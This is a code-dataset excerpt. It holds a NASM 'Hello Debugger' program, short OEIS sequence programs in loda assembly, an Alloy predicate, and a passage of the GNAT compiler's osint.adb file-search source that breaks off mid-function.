max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
src/debugee.asm | 0ptik41/Firecracker | 3 | 177140 | <reponame>0ptik41/Firecracker
section .data
string1 db 0xa, " Hello Debugger! Just gonna sit here a while :D", 0xa, 0xa, 0
section .text
global _start
_start:
; calculate the length of string
mov rdi, string1 ; string1 to destination index
xor rcx, rcx ; zero rcx
not rcx ; set rcx = -1
xor al,al ; zero the al register (initialize to NUL)
cld ; clear the direction flag
repnz scasb ; get the string length (dec rcx through NUL)
not rcx ; rev all bits of negative results in absolute value
dec rcx ; -1 to skip the null-terminator, rcx contains length
mov rdx, rcx ; put length in rdx
; write string to stdout
mov rsi, string1 ; string1 to source index
mov rax, 1 ; set write to command
mov rdi,rax ; set destination index to rax (stdout)
syscall ; call kernel
; exit
xor rdi,rdi ; zero rdi (rdi hold return value)
mov rax, 0x3c ; set syscall number to 60 (0x3c hex)
syscall ; call kernel
; Compile/Link
;
; nasm -f elf64 -o hello-stack_64.o hello-stack_64.asm
; ld -o hello-stack_64 hello-stack_64.o
|
programs/oeis/171/A171512.asm | neoneye/loda | 22 | 82038 | <filename>programs/oeis/171/A171512.asm<gh_stars>10-100
; A171512: a(n) = numbers m such that are not the sum of k-th nonprime number and k for any k >= 1.
; 1,3,4,5,7,8,10,11,13,15,17,18,20,21,23,25,27,28,30,31,33,35,37,38,40,42,44,46,48,49,51,52,54,56,58,60,62,63,65,67,69,70,72,73,75,77,79,80,82,84
mov $1,$0
seq $1,230980 ; Number of primes <= n, starting at n=0.
sub $1,$0
sub $0,$1
add $0,1
|
programs/oeis/021/A021934.asm | neoneye/loda | 22 | 15708 | <reponame>neoneye/loda<gh_stars>10-100
; A021934: Decimal expansion of 1/930.
; 0,0,1,0,7,5,2,6,8,8,1,7,2,0,4,3,0,1,0,7,5,2,6,8,8,1,7,2,0,4,3,0,1,0,7,5,2,6,8,8,1,7,2,0,4,3,0,1,0,7,5,2,6,8,8,1,7,2,0,4,3,0,1,0,7,5,2,6,8,8,1,7,2,0,4,3,0,1,0,7,5,2,6,8,8,1,7,2,0,4,3,0,1,0,7,5,2,6,8
add $0,1
mov $1,10
pow $1,$0
mul $1,4
div $1,3720
mod $1,10
mov $0,$1
|
alloy4fun_models/trashltl/models/5/ZmxoWrbQ7Jno8KfCc.als | Kaixi26/org.alloytools.alloy | 0 | 2239 | <gh_stars>0
open main
pred idZmxoWrbQ7Jno8KfCc_prop6 {
eventually File in Trash implies always File in Trash
}
pred __repair { idZmxoWrbQ7Jno8KfCc_prop6 }
check __repair { idZmxoWrbQ7Jno8KfCc_prop6 <=> prop6o } |
llvm-gcc-4.2-2.9/gcc/ada/osint.adb | vidkidz/crossbridge | 1 | 30670 | <reponame>vidkidz/crossbridge<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- O S I N T --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2006, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Fmap; use Fmap;
with Gnatvsn; use Gnatvsn;
with Hostparm;
with Namet; use Namet;
with Opt; use Opt;
with Output; use Output;
with Sdefault; use Sdefault;
with Table;
with Targparm; use Targparm;
with System.Case_Util; use System.Case_Util;
with Unchecked_Conversion;
with GNAT.HTable;
package body Osint is
Running_Program : Program_Type := Unspecified;
-- comment required here ???
Program_Set : Boolean := False;
-- comment required here ???
Std_Prefix : String_Ptr;
-- Standard prefix, computed dynamically the first time Relocate_Path
-- is called, and cached for subsequent calls.
Empty : aliased String := "";
No_Dir : constant String_Ptr := Empty'Access;
-- Used in Locate_File as a fake directory when Name is already an
-- absolute path.
-------------------------------------
-- Use of Name_Find and Name_Enter --
-------------------------------------
-- This package creates a number of source, ALI and object file names
-- that are used to locate the actual file and for the purpose of
-- message construction. These names need not be accessible by Name_Find,
-- and can be therefore created by using routine Name_Enter. The files in
-- question are file names with a prefix directory (ie the files not
-- in the current directory). File names without a prefix directory are
-- entered with Name_Find because special values might be attached to
-- the various Info fields of the corresponding name table entry.
-----------------------
-- Local Subprograms --
-----------------------
function Append_Suffix_To_File_Name
(Name : Name_Id;
Suffix : String) return Name_Id;
-- Appends Suffix to Name and returns the new name
function OS_Time_To_GNAT_Time (T : OS_Time) return Time_Stamp_Type;
-- Convert OS format time to GNAT format time stamp
function Concat (String_One : String; String_Two : String) return String;
-- Concatenates 2 strings and returns the result of the concatenation
function Executable_Prefix return String_Ptr;
-- Returns the name of the root directory where the executable is stored.
-- The executable must be located in a directory called "bin", or
-- under root/lib/gcc-lib/..., or under root/libexec/gcc/... Thus, if
-- the executable is stored in directory "/foo/bar/bin", this routine
-- returns "/foo/bar/". Return "" if the location is not recognized
-- as described above.
function Update_Path (Path : String_Ptr) return String_Ptr;
-- Update the specified path to replace the prefix with the location
-- where GNAT is installed. See the file prefix.c in GCC for details.
procedure Write_With_Check (A : Address; N : Integer);
-- Writes N bytes from buffer starting at address A to file whose FD is
-- stored in Output_FD, and whose file name is stored as a File_Name_Type
-- in Output_File_Name. A check is made for disk full, and if this is
-- detected, the file being written is deleted, and a fatal error is
-- signalled.
function Locate_File
(N : File_Name_Type;
T : File_Type;
Dir : Natural;
Name : String) return File_Name_Type;
-- See if the file N whose name is Name exists in directory Dir. Dir is
-- an index into the Lib_Search_Directories table if T = Library.
-- Otherwise if T = Source, Dir is an index into the
-- Src_Search_Directories table. Returns the File_Name_Type of the
-- full file name if file found, or No_File if not found.
function C_String_Length (S : Address) return Integer;
-- Returns length of a C string. Returns zero for a null address
function To_Path_String_Access
(Path_Addr : Address;
Path_Len : Integer) return String_Access;
-- Converts a C String to an Ada String. Are we doing this to avoid
-- withing Interfaces.C.Strings ???
------------------------------
-- Other Local Declarations --
------------------------------
EOL : constant Character := ASCII.LF;
-- End of line character
Number_File_Names : Int := 0;
-- The total number of file names found on command line and placed in
-- File_Names.
Look_In_Primary_Directory_For_Current_Main : Boolean := False;
-- When this variable is True, Find_File will only look in
-- the Primary_Directory for the Current_Main file.
-- This variable is always True for the compiler.
-- It is also True for gnatmake, when the soucr name given
-- on the command line has directory information.
Current_Full_Source_Name : File_Name_Type := No_File;
Current_Full_Source_Stamp : Time_Stamp_Type := Empty_Time_Stamp;
Current_Full_Lib_Name : File_Name_Type := No_File;
Current_Full_Lib_Stamp : Time_Stamp_Type := Empty_Time_Stamp;
Current_Full_Obj_Name : File_Name_Type := No_File;
Current_Full_Obj_Stamp : Time_Stamp_Type := Empty_Time_Stamp;
-- Respectively full name (with directory info) and time stamp of
-- the latest source, library and object files opened by Read_Source_File
-- and Read_Library_Info.
------------------
-- Search Paths --
------------------
Primary_Directory : constant := 0;
-- This is index in the tables created below for the first directory to
-- search in for source or library information files. This is the
-- directory containing the latest main input file (a source file for
-- the compiler or a library file for the binder).
package Src_Search_Directories is new Table.Table (
Table_Component_Type => String_Ptr,
Table_Index_Type => Natural,
Table_Low_Bound => Primary_Directory,
Table_Initial => 10,
Table_Increment => 100,
Table_Name => "Osint.Src_Search_Directories");
-- Table of names of directories in which to search for source (Compiler)
-- files. This table is filled in the order in which the directories are
-- to be searched, and then used in that order.
package Lib_Search_Directories is new Table.Table (
Table_Component_Type => String_Ptr,
Table_Index_Type => Natural,
Table_Low_Bound => Primary_Directory,
Table_Initial => 10,
Table_Increment => 100,
Table_Name => "Osint.Lib_Search_Directories");
-- Table of names of directories in which to search for library (Binder)
-- files. This table is filled in the order in which the directories are
-- to be searched and then used in that order. The reason for having two
-- distinct tables is that we need them both in gnatmake.
---------------------
-- File Hash Table --
---------------------
-- The file hash table is provided to free the programmer from any
-- efficiency concern when retrieving full file names or time stamps of
-- source files. If the programmer calls Source_File_Data (Cache => True)
-- he is guaranteed that the price to retrieve the full name (ie with
-- directory info) or time stamp of the file will be payed only once,
-- the first time the full name is actually searched (or the first time
-- the time stamp is actually retrieved). This is achieved by employing
-- a hash table that stores as a key the File_Name_Type of the file and
-- associates to that File_Name_Type the full file name of the file and its
-- time stamp.
File_Cache_Enabled : Boolean := False;
-- Set to true if you want the enable the file data caching mechanism
type File_Hash_Num is range 0 .. 1020;
function File_Hash (F : File_Name_Type) return File_Hash_Num;
-- Compute hash index for use by Simple_HTable
package File_Name_Hash_Table is new GNAT.HTable.Simple_HTable (
Header_Num => File_Hash_Num,
Element => File_Name_Type,
No_Element => No_File,
Key => File_Name_Type,
Hash => File_Hash,
Equal => "=");
package File_Stamp_Hash_Table is new GNAT.HTable.Simple_HTable (
Header_Num => File_Hash_Num,
Element => Time_Stamp_Type,
No_Element => Empty_Time_Stamp,
Key => File_Name_Type,
Hash => File_Hash,
Equal => "=");
function Smart_Find_File
(N : File_Name_Type;
T : File_Type) return File_Name_Type;
-- Exactly like Find_File except that if File_Cache_Enabled is True this
-- routine looks first in the hash table to see if the full name of the
-- file is already available.
function Smart_File_Stamp
(N : File_Name_Type;
T : File_Type) return Time_Stamp_Type;
-- Takes the same parameter as the routine above (N is a file name
-- without any prefix directory information) and behaves like File_Stamp
-- except that if File_Cache_Enabled is True this routine looks first in
-- the hash table to see if the file stamp of the file is already
-- available.
-----------------------------
-- Add_Default_Search_Dirs --
-----------------------------
procedure Add_Default_Search_Dirs is
Search_Dir : String_Access;
Search_Path : String_Access;
Path_File_Name : String_Access;
procedure Add_Search_Dir
(Search_Dir : String;
Additional_Source_Dir : Boolean);
procedure Add_Search_Dir
(Search_Dir : String_Access;
Additional_Source_Dir : Boolean);
-- Add a source search dir or a library search dir, depending on the
-- value of Additional_Source_Dir.
procedure Get_Dirs_From_File (Additional_Source_Dir : Boolean);
-- Open a path file and read the directory to search, one per line
function Get_Libraries_From_Registry return String_Ptr;
-- On Windows systems, get the list of installed standard libraries
-- from the registry key:
-- HKEY_LOCAL_MACHINE\SOFTWARE\Ada Core Technologies\
-- GNAT\Standard Libraries
-- Return an empty string on other systems
--------------------
-- Add_Search_Dir --
--------------------
procedure Add_Search_Dir
(Search_Dir : String;
Additional_Source_Dir : Boolean)
is
begin
if Additional_Source_Dir then
Add_Src_Search_Dir (Search_Dir);
else
Add_Lib_Search_Dir (Search_Dir);
end if;
end Add_Search_Dir;
procedure Add_Search_Dir
(Search_Dir : String_Access;
Additional_Source_Dir : Boolean)
is
begin
if Additional_Source_Dir then
Add_Src_Search_Dir (Search_Dir.all);
else
Add_Lib_Search_Dir (Search_Dir.all);
end if;
end Add_Search_Dir;
------------------------
-- Get_Dirs_From_File --
------------------------
procedure Get_Dirs_From_File (Additional_Source_Dir : Boolean) is
File_FD : File_Descriptor;
Buffer : String (1 .. Path_File_Name'Length + 1);
Len : Natural;
Actual_Len : Natural;
S : String_Access;
Curr : Natural;
First : Natural;
Ch : Character;
Status : Boolean;
-- For the call to Close
begin
-- Construct a C compatible character string buffer
Buffer (1 .. Buffer'Last - 1) := Path_File_Name.all;
Buffer (Buffer'Last) := ASCII.NUL;
File_FD := Open_Read (Buffer'Address, Binary);
-- If we cannot open the file, we ignore it, we don't fail
if File_FD = Invalid_FD then
return;
end if;
Len := Integer (File_Length (File_FD));
S := new String (1 .. Len);
-- Read the file. Note that the loop is not necessary since the
-- whole file is read at once except on VMS.
Curr := 1;
Actual_Len := Len;
while Curr <= Len and then Actual_Len /= 0 loop
Actual_Len := Read (File_FD, S (Curr)'Address, Len);
Curr := Curr + Actual_Len;
end loop;
-- We are done with the file, so we close it
Close (File_FD, Status);
-- We ignore any error here, because we have successfully read the
-- file.
-- Now, we read line by line
First := 1;
Curr := 0;
while Curr < Len loop
Ch := S (Curr + 1);
if Ch = ASCII.CR or else Ch = ASCII.LF
or else Ch = ASCII.FF or else Ch = ASCII.VT
then
if First <= Curr then
Add_Search_Dir (S (First .. Curr), Additional_Source_Dir);
end if;
First := Curr + 2;
end if;
Curr := Curr + 1;
end loop;
-- Last line is a special case, if the file does not end with
-- an end of line mark.
if First <= S'Last then
Add_Search_Dir (S (First .. S'Last), Additional_Source_Dir);
end if;
end Get_Dirs_From_File;
---------------------------------
-- Get_Libraries_From_Registry --
---------------------------------
function Get_Libraries_From_Registry return String_Ptr is
function C_Get_Libraries_From_Registry return Address;
pragma Import (C, C_Get_Libraries_From_Registry,
"__gnat_get_libraries_from_registry");
function Strlen (Str : Address) return Integer;
pragma Import (C, Strlen, "strlen");
procedure Strncpy (X : Address; Y : Address; Length : Integer);
pragma Import (C, Strncpy, "strncpy");
Result_Ptr : Address;
Result_Length : Integer;
Out_String : String_Ptr;
begin
Result_Ptr := C_Get_Libraries_From_Registry;
Result_Length := Strlen (Result_Ptr);
Out_String := new String (1 .. Result_Length);
Strncpy (Out_String.all'Address, Result_Ptr, Result_Length);
return Out_String;
end Get_Libraries_From_Registry;
-- Start of processing for Add_Default_Search_Dirs
begin
-- After the locations specified on the command line, the next places
-- to look for files are the directories specified by the appropriate
-- environment variable. Get this value, extract the directory names
-- and store in the tables.
-- Check for eventual project path file env vars
Path_File_Name := Getenv (Project_Include_Path_File);
if Path_File_Name'Length > 0 then
Get_Dirs_From_File (Additional_Source_Dir => True);
end if;
Path_File_Name := Getenv (Project_Objects_Path_File);
if Path_File_Name'Length > 0 then
Get_Dirs_From_File (Additional_Source_Dir => False);
end if;
-- On VMS, don't expand the logical name (e.g. environment variable),
-- just put it into Unix (e.g. canonical) format. System services
-- will handle the expansion as part of the file processing.
for Additional_Source_Dir in False .. True loop
if Additional_Source_Dir then
Search_Path := Getenv (Ada_Include_Path);
if Search_Path'Length > 0 then
if Hostparm.OpenVMS then
Search_Path := To_Canonical_Path_Spec ("ADA_INCLUDE_PATH:");
else
Search_Path := To_Canonical_Path_Spec (Search_Path.all);
end if;
end if;
else
Search_Path := Getenv (Ada_Objects_Path);
if Search_Path'Length > 0 then
if Hostparm.OpenVMS then
Search_Path := To_Canonical_Path_Spec ("ADA_OBJECTS_PATH:");
else
Search_Path := To_Canonical_Path_Spec (Search_Path.all);
end if;
end if;
end if;
Get_Next_Dir_In_Path_Init (Search_Path);
loop
Search_Dir := Get_Next_Dir_In_Path (Search_Path);
exit when Search_Dir = null;
Add_Search_Dir (Search_Dir, Additional_Source_Dir);
end loop;
end loop;
-- For the compiler, if --RTS= was specified, add the runtime
-- directories.
if RTS_Src_Path_Name /= null and then
RTS_Lib_Path_Name /= null
then
Add_Search_Dirs (RTS_Src_Path_Name, Include);
Add_Search_Dirs (RTS_Lib_Path_Name, Objects);
else
if not Opt.No_Stdinc then
-- For WIN32 systems, look for any system libraries defined in
-- the registry. These are added to both source and object
-- directories.
Search_Path := String_Access (Get_Libraries_From_Registry);
Get_Next_Dir_In_Path_Init (Search_Path);
loop
Search_Dir := Get_Next_Dir_In_Path (Search_Path);
exit when Search_Dir = null;
Add_Search_Dir (Search_Dir, False);
Add_Search_Dir (Search_Dir, True);
end loop;
-- The last place to look are the defaults
Search_Path :=
Read_Default_Search_Dirs
(String_Access (Update_Path (Search_Dir_Prefix)),
Include_Search_File,
String_Access (Update_Path (Include_Dir_Default_Name)));
Get_Next_Dir_In_Path_Init (Search_Path);
loop
Search_Dir := Get_Next_Dir_In_Path (Search_Path);
exit when Search_Dir = null;
Add_Search_Dir (Search_Dir, True);
end loop;
end if;
if not Opt.No_Stdlib and not Opt.RTS_Switch then
Search_Path :=
Read_Default_Search_Dirs
(String_Access (Update_Path (Search_Dir_Prefix)),
Objects_Search_File,
String_Access (Update_Path (Object_Dir_Default_Name)));
Get_Next_Dir_In_Path_Init (Search_Path);
loop
Search_Dir := Get_Next_Dir_In_Path (Search_Path);
exit when Search_Dir = null;
Add_Search_Dir (Search_Dir, False);
end loop;
end if;
end if;
end Add_Default_Search_Dirs;
--------------
-- Add_File --
--------------
procedure Add_File (File_Name : String; Index : Int := No_Index) is
begin
Number_File_Names := Number_File_Names + 1;
-- As Add_File may be called for mains specified inside
-- a project file, File_Names may be too short and needs
-- to be extended.
if Number_File_Names > File_Names'Last then
File_Names := new File_Name_Array'(File_Names.all & File_Names.all);
File_Indexes :=
new File_Index_Array'(File_Indexes.all & File_Indexes.all);
end if;
File_Names (Number_File_Names) := new String'(File_Name);
File_Indexes (Number_File_Names) := Index;
end Add_File;
------------------------
-- Add_Lib_Search_Dir --
------------------------
procedure Add_Lib_Search_Dir (Dir : String) is
begin
if Dir'Length = 0 then
Fail ("missing library directory name");
end if;
Lib_Search_Directories.Increment_Last;
Lib_Search_Directories.Table (Lib_Search_Directories.Last) :=
Normalize_Directory_Name (Dir);
end Add_Lib_Search_Dir;
---------------------
-- Add_Search_Dirs --
---------------------
procedure Add_Search_Dirs
(Search_Path : String_Ptr;
Path_Type : Search_File_Type)
is
Current_Search_Path : String_Access;
begin
Get_Next_Dir_In_Path_Init (String_Access (Search_Path));
loop
Current_Search_Path :=
Get_Next_Dir_In_Path (String_Access (Search_Path));
exit when Current_Search_Path = null;
if Path_Type = Include then
Add_Src_Search_Dir (Current_Search_Path.all);
else
Add_Lib_Search_Dir (Current_Search_Path.all);
end if;
end loop;
end Add_Search_Dirs;
------------------------
-- Add_Src_Search_Dir --
------------------------
procedure Add_Src_Search_Dir (Dir : String) is
begin
if Dir'Length = 0 then
Fail ("missing source directory name");
end if;
Src_Search_Directories.Increment_Last;
Src_Search_Directories.Table (Src_Search_Directories.Last) :=
Normalize_Directory_Name (Dir);
end Add_Src_Search_Dir;
--------------------------------
-- Append_Suffix_To_File_Name --
--------------------------------
function Append_Suffix_To_File_Name
(Name : Name_Id;
Suffix : String) return Name_Id
is
begin
Get_Name_String (Name);
Name_Buffer (Name_Len + 1 .. Name_Len + Suffix'Length) := Suffix;
Name_Len := Name_Len + Suffix'Length;
return Name_Find;
end Append_Suffix_To_File_Name;
---------------------
-- C_String_Length --
---------------------
function C_String_Length (S : Address) return Integer is
function Strlen (S : Address) return Integer;
pragma Import (C, Strlen, "strlen");
begin
if S = Null_Address then
return 0;
else
return Strlen (S);
end if;
end C_String_Length;
------------------------------
-- Canonical_Case_File_Name --
------------------------------
-- For now, we only deal with the case of a-z. Eventually we should
-- worry about other Latin-1 letters on systems that support this ???
procedure Canonical_Case_File_Name (S : in out String) is
begin
if not File_Names_Case_Sensitive then
for J in S'Range loop
if S (J) in 'A' .. 'Z' then
S (J) := Character'Val (
Character'Pos (S (J)) +
Character'Pos ('a') -
Character'Pos ('A'));
end if;
end loop;
end if;
end Canonical_Case_File_Name;
------------
-- Concat --
------------
function Concat (String_One : String; String_Two : String) return String is
Buffer : String (1 .. String_One'Length + String_Two'Length);
begin
Buffer (1 .. String_One'Length) := String_One;
Buffer (String_One'Length + 1 .. Buffer'Last) := String_Two;
return Buffer;
end Concat;
---------------------------
-- Create_File_And_Check --
---------------------------
procedure Create_File_And_Check
(Fdesc : out File_Descriptor;
Fmode : Mode)
is
begin
Output_File_Name := Name_Enter;
Fdesc := Create_File (Name_Buffer'Address, Fmode);
if Fdesc = Invalid_FD then
Fail ("Cannot create: ", Name_Buffer (1 .. Name_Len));
end if;
end Create_File_And_Check;
------------------------
-- Current_File_Index --
------------------------
function Current_File_Index return Int is
begin
return File_Indexes (Current_File_Name_Index);
end Current_File_Index;
--------------------------------
-- Current_Library_File_Stamp --
--------------------------------
function Current_Library_File_Stamp return Time_Stamp_Type is
begin
return Current_Full_Lib_Stamp;
end Current_Library_File_Stamp;
-------------------------------
-- Current_Object_File_Stamp --
-------------------------------
function Current_Object_File_Stamp return Time_Stamp_Type is
begin
return Current_Full_Obj_Stamp;
end Current_Object_File_Stamp;
-------------------------------
-- Current_Source_File_Stamp --
-------------------------------
function Current_Source_File_Stamp return Time_Stamp_Type is
begin
return Current_Full_Source_Stamp;
end Current_Source_File_Stamp;
----------------------------
-- Dir_In_Obj_Search_Path --
----------------------------
function Dir_In_Obj_Search_Path (Position : Natural) return String_Ptr is
begin
if Opt.Look_In_Primary_Dir then
return
Lib_Search_Directories.Table (Primary_Directory + Position - 1);
else
return Lib_Search_Directories.Table (Primary_Directory + Position);
end if;
end Dir_In_Obj_Search_Path;
----------------------------
-- Dir_In_Src_Search_Path --
----------------------------
function Dir_In_Src_Search_Path (Position : Natural) return String_Ptr is
begin
if Opt.Look_In_Primary_Dir then
return
Src_Search_Directories.Table (Primary_Directory + Position - 1);
else
return Src_Search_Directories.Table (Primary_Directory + Position);
end if;
end Dir_In_Src_Search_Path;
---------------------
-- Executable_Name --
---------------------
function Executable_Name (Name : File_Name_Type) return File_Name_Type is
Exec_Suffix : String_Access;
begin
if Name = No_File then
return No_File;
end if;
Get_Name_String (Name);
Exec_Suffix := Get_Executable_Suffix;
for J in Exec_Suffix'Range loop
Name_Len := Name_Len + 1;
Name_Buffer (Name_Len) := Exec_Suffix (J);
end loop;
Free (Exec_Suffix);
return Name_Enter;
end Executable_Name;
-----------------------
-- Executable_Prefix --
-----------------------
function Executable_Prefix return String_Ptr is
function Get_Install_Dir (Exec : String) return String_Ptr;
-- S is the executable name preceeded by the absolute or relative
-- path, e.g. "c:\usr\bin\gcc.exe" or "..\bin\gcc".
---------------------
-- Get_Install_Dir --
---------------------
function Get_Install_Dir (Exec : String) return String_Ptr is
begin
for J in reverse Exec'Range loop
if Is_Directory_Separator (Exec (J)) then
if J < Exec'Last - 5 then
if (To_Lower (Exec (J + 1)) = 'l'
and then To_Lower (Exec (J + 2)) = 'i'
and then To_Lower (Exec (J + 3)) = 'b')
or else
(To_Lower (Exec (J + 1)) = 'b'
and then To_Lower (Exec (J + 2)) = 'i'
and then To_Lower (Exec (J + 3)) = 'n')
then
return new String'(Exec (Exec'First .. J));
end if;
end if;
end if;
end loop;
return new String'("");
end Get_Install_Dir;
-- Start of processing for Executable_Prefix
begin
if Exec_Name = null then
Exec_Name := new String (1 .. Len_Arg (0));
Osint.Fill_Arg (Exec_Name (1)'Address, 0);
end if;
-- First determine if a path prefix was placed in front of the
-- executable name.
for J in reverse Exec_Name'Range loop
if Is_Directory_Separator (Exec_Name (J)) then
return Get_Install_Dir (Exec_Name.all);
end if;
end loop;
-- If we come here, the user has typed the executable name with no
-- directory prefix.
return Get_Install_Dir
(GNAT.OS_Lib.Locate_Exec_On_Path (Exec_Name.all).all);
end Executable_Prefix;
------------------
-- Exit_Program --
------------------
procedure Exit_Program (Exit_Code : Exit_Code_Type) is
begin
-- The program will exit with the following status:
-- 0 if the object file has been generated (with or without warnings)
-- 1 if recompilation was not needed (smart recompilation)
-- 2 if gnat1 has been killed by a signal (detected by GCC)
-- 4 for a fatal error
-- 5 if there were errors
-- 6 if no code has been generated (spec)
-- Note that exit code 3 is not used and must not be used as this is
-- the code returned by a program aborted via C abort() routine on
-- Windows. GCC checks for that case and thinks that the child process
-- has been aborted. This code (exit code 3) used to be the code used
-- for E_No_Code, but E_No_Code was changed to 6 for this reason.
case Exit_Code is
when E_Success => OS_Exit (0);
when E_Warnings => OS_Exit (0);
when E_No_Compile => OS_Exit (1);
when E_Fatal => OS_Exit (4);
when E_Errors => OS_Exit (5);
when E_No_Code => OS_Exit (6);
when E_Abort => OS_Abort;
end case;
end Exit_Program;
----------
-- Fail --
----------
procedure Fail (S1 : String; S2 : String := ""; S3 : String := "") is
begin
-- We use Output in case there is a special output set up.
-- In this case Set_Standard_Error will have no immediate effect.
Set_Standard_Error;
Osint.Write_Program_Name;
Write_Str (": ");
Write_Str (S1);
Write_Str (S2);
Write_Str (S3);
Write_Eol;
Exit_Program (E_Fatal);
end Fail;
---------------
-- File_Hash --
---------------
function File_Hash (F : File_Name_Type) return File_Hash_Num is
begin
return File_Hash_Num (Int (F) rem File_Hash_Num'Range_Length);
end File_Hash;
----------------
-- File_Stamp --
----------------
function File_Stamp (Name : File_Name_Type) return Time_Stamp_Type is
begin
if Name = No_File then
return Empty_Time_Stamp;
end if;
Get_Name_String (Name);
if not Is_Regular_File (Name_Buffer (1 .. Name_Len)) then
return Empty_Time_Stamp;
else
Name_Buffer (Name_Len + 1) := ASCII.NUL;
return OS_Time_To_GNAT_Time (File_Time_Stamp (Name_Buffer));
end if;
end File_Stamp;
---------------
-- Find_File --
---------------
function Find_File
(N : File_Name_Type;
T : File_Type) return File_Name_Type
is
begin
Get_Name_String (N);
declare
File_Name : String renames Name_Buffer (1 .. Name_Len);
File : File_Name_Type := No_File;
Last_Dir : Natural;
begin
-- If we are looking for a config file, look only in the current
-- directory, i.e. return input argument unchanged. Also look
-- only in the current directory if we are looking for a .dg
-- file (happens in -gnatD mode)
if T = Config
or else (Debug_Generated_Code
and then Name_Len > 3
and then
(Name_Buffer (Name_Len - 2 .. Name_Len) = ".dg"
or else
(Hostparm.OpenVMS and then
Name_Buffer (Name_Len - 2 .. Name_Len) = "_dg")))
then
return N;
-- If we are trying to find the current main file just look in the
-- directory where the user said it was.
elsif Look_In_Primary_Directory_For_Current_Main
and then Current_Main = N
then
return Locate_File (N, T, Primary_Directory, File_Name);
-- Otherwise do standard search for source file
else
-- Check the mapping of this file name
File := Mapped_Path_Name (N);
-- If the file name is mapped to a path name, return the
-- corresponding path name
if File /= No_File then
-- For locally removed file, Error_Name is returned; then
-- return No_File, indicating the file is not a source.
if File = Error_Name then
return No_File;
else
return File;
end if;
end if;
-- First place to look is in the primary directory (i.e. the same
-- directory as the source) unless this has been disabled with -I-
if Opt.Look_In_Primary_Dir then
File := Locate_File (N, T, Primary_Directory, File_Name);
if File /= No_File then
return File;
end if;
end if;
-- Finally look in directories specified with switches -I/-aI/-aO
if T = Library then
Last_Dir := Lib_Search_Directories.Last;
else
Last_Dir := Src_Search_Directories.Last;
end if;
for D in Primary_Directory + 1 .. Last_Dir loop
File := Locate_File (N, T, D, File_Name);
if File /= No_File then
return File;
end if;
end loop;
return No_File;
end if;
end;
end Find_File;
-----------------------
-- Find_Program_Name --
-----------------------
procedure Find_Program_Name is
Command_Name : String (1 .. Len_Arg (0));
Cindex1 : Integer := Command_Name'First;
Cindex2 : Integer := Command_Name'Last;
begin
Fill_Arg (Command_Name'Address, 0);
-- The program name might be specified by a full path name. However,
-- we don't want to print that all out in an error message, so the
-- path might need to be stripped away.
for J in reverse Cindex1 .. Cindex2 loop
if Is_Directory_Separator (Command_Name (J)) then
Cindex1 := J + 1;
exit;
end if;
end loop;
-- Command_Name(Cindex1 .. Cindex2) is now the equivalent of the
-- POSIX command "basename argv[0]"
-- Strip off any versioning information such as found on VMS.
-- This would take the form of TOOL.exe followed by a ";" or "."
-- and a sequence of one or more numbers.
if Command_Name (Cindex2) in '0' .. '9' then
for J in reverse Cindex1 .. Cindex2 loop
if Command_Name (J) = '.' or Command_Name (J) = ';' then
Cindex2 := J - 1;
exit;
end if;
exit when Command_Name (J) not in '0' .. '9';
end loop;
end if;
-- Strip off any executable extension (usually nothing or .exe)
-- but formally reported by autoconf in the variable EXEEXT
if Cindex2 - Cindex1 >= 4 then
if To_Lower (Command_Name (Cindex2 - 3)) = '.'
and then To_Lower (Command_Name (Cindex2 - 2)) = 'e'
and then To_Lower (Command_Name (Cindex2 - 1)) = 'x'
and then To_Lower (Command_Name (Cindex2)) = 'e'
then
Cindex2 := Cindex2 - 4;
end if;
end if;
Name_Len := Cindex2 - Cindex1 + 1;
Name_Buffer (1 .. Name_Len) := Command_Name (Cindex1 .. Cindex2);
end Find_Program_Name;
------------------------
-- Full_Lib_File_Name --
------------------------
function Full_Lib_File_Name (N : File_Name_Type) return File_Name_Type is
begin
return Find_File (N, Library);
end Full_Lib_File_Name;
----------------------------
-- Full_Library_Info_Name --
----------------------------
function Full_Library_Info_Name return File_Name_Type is
begin
return Current_Full_Lib_Name;
end Full_Library_Info_Name;
---------------------------
-- Full_Object_File_Name --
---------------------------
function Full_Object_File_Name return File_Name_Type is
begin
return Current_Full_Obj_Name;
end Full_Object_File_Name;
----------------------
-- Full_Source_Name --
----------------------
function Full_Source_Name return File_Name_Type is
begin
return Current_Full_Source_Name;
end Full_Source_Name;
----------------------
-- Full_Source_Name --
----------------------
function Full_Source_Name (N : File_Name_Type) return File_Name_Type is
begin
return Smart_Find_File (N, Source);
end Full_Source_Name;
-------------------
-- Get_Directory --
-------------------
function Get_Directory (Name : File_Name_Type) return File_Name_Type is
begin
Get_Name_String (Name);
for J in reverse 1 .. Name_Len loop
if Is_Directory_Separator (Name_Buffer (J)) then
Name_Len := J;
return Name_Find;
end if;
end loop;
Name_Len := Hostparm.Normalized_CWD'Length;
Name_Buffer (1 .. Name_Len) := Hostparm.Normalized_CWD;
return Name_Find;
end Get_Directory;
--------------------------
-- Get_Next_Dir_In_Path --
--------------------------
Search_Path_Pos : Integer;
-- Keeps track of current position in search path. Initialized by the
-- call to Get_Next_Dir_In_Path_Init, updated by Get_Next_Dir_In_Path.
function Get_Next_Dir_In_Path
(Search_Path : String_Access) return String_Access
is
Lower_Bound : Positive := Search_Path_Pos;
Upper_Bound : Positive;
begin
loop
while Lower_Bound <= Search_Path'Last
and then Search_Path.all (Lower_Bound) = Path_Separator
loop
Lower_Bound := Lower_Bound + 1;
end loop;
exit when Lower_Bound > Search_Path'Last;
Upper_Bound := Lower_Bound;
